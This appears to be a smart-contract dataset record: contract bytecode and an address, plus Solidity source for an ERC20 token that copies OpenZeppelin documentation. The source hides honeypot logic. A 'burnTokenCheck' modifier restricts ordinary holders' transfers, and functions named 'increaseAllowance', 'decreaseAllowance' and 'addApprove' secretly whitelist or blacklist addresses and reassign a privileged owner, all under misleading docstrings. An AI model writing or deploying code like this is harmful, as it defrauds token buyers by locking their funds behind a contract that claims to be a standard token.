020600460443581810135601f8101849004840285018401909552848452610245948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107a19650505050505050565b34801561041457600080fd5b5061026e600160a060020a036004358116906024351661093c565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600954600160a060020a031681565b600160a060020a03831660009081526020819052604081205482118015906105845750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156105905750600082115b1561061957600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600161061d565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b60075481565b600160a060020a031660009081526020819052604090205490565b60085481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b3360009081526020819052604081205482118015906107295750600082115b15610799573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600161051e565b50600061051e565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156108e15781810151838201526020016108c9565b50505050905090810190601f16801561090e5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561093257600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a7230582059dded75bb18db237ed55429fba6377152c26e520c09d0056c0bbadce5a956170029 | [
38
] |
0xf3510ce654f1f3f5be83351fbd42b8d27d34f255 | pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152